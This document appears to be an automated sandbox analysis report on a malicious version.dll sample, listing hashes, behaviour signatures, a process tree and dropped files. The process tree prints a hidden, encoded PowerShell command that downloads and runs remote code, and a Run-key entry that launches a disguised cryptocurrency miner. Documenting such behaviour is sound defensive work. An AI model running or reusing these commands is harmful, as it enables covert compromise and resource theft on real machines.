00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4

Analysis

user interaction
yes
max time kernel
900s
max time network
489s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
07/11/2026, 22:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
version.dll
Size 124KB
Sample261107-2aa1csfy2z
SHA256 00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4
MD5 410af86d672a4886ff7ecae3c8c0c5a7
SHA1 e2308e96a4f97972dc3f382b8e23f776e5206aac
SHA512 96695a111688b87f6c7073878a0f80190ca2fc1b5ec7b91f9e8f10cc2aae9a3b9b5a34596242dd9210f409502aa927f77f9a3404c354f8e95de5034800fb83a1
SSDEEP 3072:PArsEFFJFC9pVpcGgD4H3zFOSwCYnn6iouckVPxIiTON4F:PArsqF7cpMdDC3JO6A
TLSH
T1D2C34B1BB6B5507BE26A8938C4530A05DF72BC918BA0ABDF07900DDA1E637D49F3DB11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2584	powershell.exe
4	3008	powershell.exe
6	3876	powershell.exe
14	2904	powershell.exe
22	2904	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2584	powershell.exe
3008	powershell.exe
3876	powershell.exe
2904	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	lFK4eRRGv35m
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	lFK4eRRGv35m

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3562044790-535044693-348086427-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftEdge\\SystemSettingsBroker.exe\" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig"	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wct84E0.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wct84E0.tmp

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2584	powershell.exe
2584	powershell.exe
3008	powershell.exe
3008	powershell.exe
3876	powershell.exe
3876	powershell.exe
2904	powershell.exe
2904	powershell.exe
3876	powershell.exe
2904	powershell.exe
3592	wct84E0.tmp
3592	wct84E0.tmp
3336	wct84E0.tmp
3336	wct84E0.tmp
3876	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeIncreaseQuotaPrivilege	3876	powershell.exe
Token: SeSecurityPrivilege	3876	powershell.exe
Token: SeTakeOwnershipPrivilege	3876	powershell.exe
Token: SeLoadDriverPrivilege	3876	powershell.exe
Token: SeSystemProfilePrivilege	3876	powershell.exe
Token: SeSystemtimePrivilege	3876	powershell.exe
Token: SeProfSingleProcessPrivilege	3876	powershell.exe
Token: SeIncBasePriorityPrivilege	3876	powershell.exe
Token: SeCreatePagefilePrivilege	3876	powershell.exe
Token: SeBackupPrivilege	3876	powershell.exe
Token: SeRestorePrivilege	3876	powershell.exe
Token: SeShutdownPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeSystemEnvironmentPrivilege	3876	powershell.exe
Token: SeRemoteShutdownPrivilege	3876	powershell.exe
Token: SeUndockPrivilege	3876	powershell.exe
Token: SeManageVolumePrivilege	3876	powershell.exe
Token: 33	3876	powershell.exe
Token: 34	3876	powershell.exe
Token: 35	3876	powershell.exe
Token: 36	3876	powershell.exe
Token: SeIncreaseQuotaPrivilege	2904	powershell.exe
Token: SeSecurityPrivilege	2904	powershell.exe
Token: SeTakeOwnershipPrivilege	2904	powershell.exe
Token: SeLoadDriverPrivilege	2904	powershell.exe
Token: SeSystemProfilePrivilege	2904	powershell.exe
Token: SeSystemtimePrivilege	2904	powershell.exe
Token: SeProfSingleProcessPrivilege	2904	powershell.exe
Token: SeIncBasePriorityPrivilege	2904	powershell.exe
Token: SeCreatePagefilePrivilege	2904	powershell.exe
Token: SeBackupPrivilege	2904	powershell.exe
Token: SeRestorePrivilege	2904	powershell.exe
Token: SeShutdownPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeSystemEnvironmentPrivilege	2904	powershell.exe
Token: SeRemoteShutdownPrivilege	2904	powershell.exe
Token: SeUndockPrivilege	2904	powershell.exe
Token: SeManageVolumePrivilege	2904	powershell.exe
Token: 33	2904	powershell.exe
Token: 34	2904	powershell.exe
Token: 35	2904	powershell.exe
Token: 36	2904	powershell.exe
Token: SeIncreaseQuotaPrivilege	3876	powershell.exe
Token: SeSecurityPrivilege	3876	powershell.exe
Token: SeTakeOwnershipPrivilege	3876	powershell.exe
Token: SeLoadDriverPrivilege	3876	powershell.exe
Token: SeSystemProfilePrivilege	3876	powershell.exe
Token: SeSystemtimePrivilege	3876	powershell.exe
Token: SeProfSingleProcessPrivilege	3876	powershell.exe
Token: SeIncBasePriorityPrivilege	3876	powershell.exe
Token: SeCreatePagefilePrivilege	3876	powershell.exe
Token: SeBackupPrivilege	3876	powershell.exe
Token: SeRestorePrivilege	3876	powershell.exe
Token: SeShutdownPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeSystemEnvironmentPrivilege	3876	powershell.exe
Token: SeRemoteShutdownPrivilege	3876	powershell.exe
Token: SeUndockPrivilege	3876	powershell.exe
Token: SeManageVolumePrivilege	3876	powershell.exe
Token: 33	3876	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3636 wrote to memory of 5104	3636	rundll32.exe	80
PID 3636 wrote to memory of 1276	3636	rundll32.exe	81
PID 1276 wrote to memory of 2584	1276	lFK4eRRGv35m	82
PID 3636 wrote to memory of 4092	3636	rundll32.exe	84
PID 3636 wrote to memory of 3336	3636	rundll32.exe	85
PID 4092 wrote to memory of 2996	4092	rename.exe	86
PID 4092 wrote to memory of 3972	4092	rename.exe	87
PID 4092 wrote to memory of 3592	4092	rename.exe	88
PID 3972 wrote to memory of 3008	3972	lFK4eRRGv35m	89
PID 2584 wrote to memory of 3876	2584	powershell.exe	93
PID 3008 wrote to memory of 2904	3008	powershell.exe	95
PID 3876 wrote to memory of 4980	3876	powershell.exe	99

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\version.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe
  "C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe"
  2⤵
  PID:5104
- C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m
  "C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m"
  2⤵
  - Checks BIOS information in registry
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\dtr10nr0.tq5.ps1"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3876
    - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
        5⤵
        
        PID:4980
- C:\Users\Admin\AppData\Local\Temp\rename.exe
  "C:\Users\Admin\AppData\Local\Temp\rename.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe
    "C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe"
    3⤵
    PID:2996
- - C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m
    "C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m"
    3⤵
    - Checks BIOS information in registry
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\elshdg3y.a4u.ps1"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
- - C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp
    "C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3592
- C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp
  "C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 5KB
SHA256 1f2719b100fcc59601f0dbb286aea5034e05bae881425792a115106e244a0ed0
MD5 b10207f8ae69cd9d6daadda0c9d010ef
SHA1 fe195f301116e55b87e1924b93b2d2b906dc572e
SHA512 ff80b70243a5bfe50a3f52eab372042744f7722e22da4be6ed58849258a8cdf4972e654dad78b5d35aadd9e9f7cecee6cbbeb40acc87ef5d39f35438d8c369af
SSDEEP 96:05eywtHRbQ6aOfziJ2WP6s2vYYdn5+PuBttUU2js/OYXgvZ9hkJ4FLUHswb:2e9vIOoPX2vYa5qV1sSv3Resi
TLSH
T1CCC19E94E8F7DC4FD8639F3401AAF2255508E25F4423B71D7081A82B76E2B06330A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF
Size 2KB
SHA256 da9308519d833732d30ae83719d05608f693ba9e2f6eca12a67f2c94d9b9b88a
MD5 0e0fa63cdfd2dad55ee405869f0bce96
SHA1 f5680683c883ae7545bcca518a9e99aa0275b3c4
SHA512 fb5af04067eccd1518bcfecc686ba36f768c1ab396f78f114003004a7bc3213a2d6be5f41c91e4e9cdfa5b266f2fcf5f08dedc555923ea430df20dea80e17399
TLSH
T17641F9038A343441EE29EF49A79D9661B83CDFB105C4540E996CE1E8A55FBF31F08A4D
MD5 SHA1 SHA512 TLSH

Submit Download

E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
Size 471B
SHA256 8841d047adc37191233a101a57da099b4af420f8eb9449f7141eca24913ccacf
MD5 a275437efa77d906565b3234048d7cfa
SHA1 b1f44657d0d73d0bf9facbe5120d1ec56c0481a3
SHA512 ef139e0591392e4462a77ca23917b0604ed47cc1c601784ae535fa25f3ea4d8f8c371d22052d2465f103921821f115bc2a5fb6a72d25b923357a1c8be3029253
TLSH
T10CF0D4C5D9DDD0557FC08CDD21B845BF6E20511921A881869079C5B3085F3FED02A13D
MD5 SHA1 SHA512 TLSH

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 342B
SHA256 bc80ebd8be8ffca06c47a2a307e8511da31125ac2cea3dd435c7345d88112067
MD5 1ab0a37f9e5ec0e919c7469c19c7a392
SHA1 fdcc7b2d87409838a2311e50be3b91fccf8c672c
SHA512 f17a0a21e1735e578041f43a7202e182e3971dc2dae3ca92e85f9ed104718db9f4033b947908ec51a149c1657322a700ede3e00e7371f546d48732274e6b3d39
TLSH
T19BE017627AE41215E5730B3CA972A6854A77BA676961CA8D0234004D5D25F21C83271A
MD5 SHA1 SHA512 TLSH

Submit Download

B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF
Size 426B
SHA256 c3e9e9f056cb5e8338b9e44d7dc75d2c382c6b24e8a34251b8cc587b5a1b1e8e
MD5 0e41b71dcd1aaa61d82175c1bd508de4
SHA1 ca0a30322d518147b6647088e90cbc12c7acff4d
SHA512 cd523be5b50921c57734f509637c06c26162b1e4eab0dcba7f6577f9531307da6185709493410519a662c30556e848d1f8583ec4cf2abb2d684438b6e343eeac
TLSH
T1C2E0682029FF811CF331BE7C9BE4493F5A2EE1231404A7B4172011082256CC20D79F32
MD5 SHA1 SHA512 TLSH

Submit Download

E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
Size 412B
SHA256 30d61072a8d326e8e50a9d63f9e26c5d913fd7fb82efceb2bb3f0164b09ed965
MD5 5f85f9b4a2e387bc2065b6e1bd3925b9
SHA1 249a3ae7ea9fa7c90e7c10163217d081b47d868a
SHA512 349b3d4ac3b0c2de345d0d2dc977fa67827f0755cb6a4e10919273bc3403da8a6f704dbb1a76f25b721379683bfc04ab2ee12ef15aebc3489bdfc4f472442792
TLSH
T165E0C03037F6421CF1F0D1394BDA7034A5D6F02A1405E1B529C017047306600DC13E30
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 0bc3ccb0052d8d4261b1df749a485e25f54259958fc0997fee3417569b76a778
MD5 27c57765654637a1c33e2c19ed2939fc
SHA1 c6e4e57a887161e139895ee27bd30050263c401b
SHA512 2cc3bcc24df7f084fb162a71facdfe56cf4de184da1c783aec3385074ad993e49687ea54bbb71389394ae52a340a31b106058635944a4270c6df8aa7e369d05f
TLSH
T16A61CD323275B0D489567F07192C19C463BF8356EA94AF4CB658620ED92744BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

DeviceHealthSummaryConfiguration.ini

Path C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\DeviceHealthSummaryConfiguration.ini
Size 77B
SHA256 9cf0c726ff920cd7d71dace1fb8726fad9201fd079ef992d0ff8d74be3531a68
MD5 32bac13731b975661cba00a5b27d334c
SHA1 abd5d88b1bc28066ccdf8f635cc3a378b20acb87
SHA512 532f776f96a7f6e6ed0647053474a4eff455a5fc9a69e8b117e6b3f4f54627be3b944385711ca0f199b6dc4ef623d1c6cd47e55535b0a8749c715f2144ba6399
TLSH
T1F2A0123001050716413D55DF1172100A04B843C494440018303A32000A1C21815B2021
MD5 SHA1 SHA512 TLSH

Submit Download

Install-2026-11-07.2224.3592.1.aodl

Path C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2026-11-07.2224.3592.1.aodl
Size 5KB
SHA256 1e858817adafd2e3aec49123c6ce5aec86886bcbef9cc9c0d60acd54bd00cb5e
MD5 a91c5975cf6ae4aa64cd86d116d9268f
SHA1 86bf5e02a642cb66a7a79368e1dc60d3c61123f1
SHA512 b1b73eee27150a04ba69d87ee9fa1c472d3956ce6e3187b19f1d0a595c01a87301014406a5b7916864ad6ec137e13c1b00c64e6c94be7f562454709b2f0fee80
SSDEEP 96:KsJAXyX4vNAEANsrE/g3firTs5KozJWiQCujCun:KsJAx1AEAcE/g3a85XQt/n
TLSH
T1E5C1FC6754A05A41D6B1C13A189ACE1F2FB8DCECC0D6E0466EC0BDBB967D529BBC3C00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

21.220.1024[2].json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\V8657FUD\21.220.1024[2].json
Size 5KB
SHA256 cbc470935502459464e8a011231f686dc4cf0ed56a3788412738a35d53a0a2c4
MD5 c43422d0dd96374d7c3bdf5f4a412410
SHA1 77710e61d8ca8aa97fdfd9c09fde6c385767b40d
SHA512 c424acff9d2364453cef2d40c454e00ebb8c656123e1619d9447692a910a58d38f6c7667fbe9c4be7924cdafb4ca555def0d9eafcb7c9045e6f61bf8cc9769af
SSDEEP 96:eu2skS3KwagXTcOgjDbryA/LWm/uNeDZM5h96I4mQcB8o:euTYnjlD24mQcB5
TLSH
T13BB1B6D83AA856F6D5D2C1184F6AFF183CFF147754AB5968B4EC02083078BA7A34385B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 eac79146599354ee6c44e0af03ab76f049305db0c500b3e143b8d220b4efecf3
MD5 ed24abb252577d8393acaedebc2762ff
SHA1 d962fee8afd1133f66e0c4748687eaaa40afc2e7
SHA512 169a6d9616a22c44866f31ce3423e6bee0242389e80c7b22082f2ae89bc47be25beb6e5046867618a4b25b71f9f577194cc3d1e364dc46821d33a89fa9dc0203
SSDEEP 1536:KflJd+h4iUxTYkzvd5fKQOUpeE711kDa5ljNC+jH0IMjMFYoe9V3CNBQkj2QOdBT:KflJd+qiUTYkzvd5fKQOUpeE711kDa5S
TLSH
T15C538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 b911d72c3de2fe8a395a9d2ab5a72996f19ec499ffdececd86c4d973910d311b
MD5 0980490bb07b59dfddbda73f7fd9e178
SHA1 52b6917fcf71d1444ccfc832f344508d069a7f5e
SHA512 9988cc7044e1103ec1e16b3b7e9f6654851d9479563d09057e6f13da5e9b1bf24fb5701725e29944a2c946de46b71f8822776a4d7b831ffd5d8564dc1ffdb49e
TLSH
T14E41DA27B39DC0E1C89D2E7A228C5D00716583F3809F8FDB2B48D62C997FA99DB9C050
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cb0c13474c55c559c7803f5611baebce3c45f098f7c8d005dc68e3dd64e3d589
MD5 9b3fc74330e615cec5fea3230b65f8dd
SHA1 c40983943e48970e3099ca65515d61b0273a237e
SHA512 6fea1e610dd9c691c3efb8fe6675bdb8c0a4af2f6c368cceac6679ff7f4dfbd78446c4afd904d149e533a194184d42fa52f22f2aff4ab42470f5bb81b915ffa0
TLSH
T1A9219833B39CC134C8D9017A128CAD01B2B4C3C7C49ECECB7A84C508A17F99ADBAC1A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0a0cd1fb99292a75026384e87a31f133594f0d1139800b3c488474f117b60a21
MD5 70bef999ead424e03c30f9a790ad136d
SHA1 2e7312ab2869ccb0cd9b0111331e4a445f0e9908
SHA512 615ad8b9356737e3a9f8e72969f616a43bb178ce2d5b19e1d45e258a2ab61cfa555f500797cf75159d55ed226fe68e4e8c907a3fd95e86364fc58da5fbcaeb82
TLSH
T10E216833B79CC235C8D9157A128DAD00B2B5C7C7C49E9E8B7A84C504A17F99ADB6C1A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_u40qsdci.mnf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u40qsdci.mnf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dtr10nr0.tq5.ps1

Path C:\Users\Admin\AppData\Local\Temp\dtr10nr0.tq5.ps1
Size 98B
SHA256 cf70f689a8b3698f14cb3d4b773fe975fe3ea701317445adb4ee1ba1c56da72a
MD5 18ce0fc780b98ffc755a1ee821c7d450
SHA1 aa92ab19d0293c34c8e976dacd168c4fe6042eab
SHA512 b93e8d2c1c1e873ad165d1d22271ac0f5384d286bf2465dbd22d975115d3063cf80118af5db6f16590af15d49c5cd5c848e1aef918dee4f51b22bfe8b5a6322b
TLSH
T1CBB0122216074C8B03E8271184226101E4C4349C302440DB7E5023858110BD8770C40D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2584-1-0x0000018304260000-0x0000018304270000-memory.dmp

Download

memory/2584-0-0x0000018304260000-0x0000018304270000-memory.dmp

Download

memory/2584-8-0x0000018304260000-0x0000018304270000-memory.dmp

Download

memory/2584-9-0x000001831F690000-0x000001831F6B2000-memory.dmp

Download

memory/2584-20-0x000001831FD30000-0x000001831FEF2000-memory.dmp

Download

memory/3876-49-0x0000027971EE0000-0x0000027971EEA000-memory.dmp

Download

memory/3876-55-0x0000027971F20000-0x0000027971F34000-memory.dmp

Download

memory/3876-54-0x0000027971ED0000-0x0000027971EF7000-memory.dmp

Download

memory/3876-52-0x0000027971F20000-0x0000027971F44000-memory.dmp

Download

memory/3876-51-0x0000027971F20000-0x0000027971F4A000-memory.dmp

Download

memory/3876-47-0x0000027971EC0000-0x0000027971EDC000-memory.dmp

Download

memory/3876-48-0x00000279721D0000-0x0000027972283000-memory.dmp

Download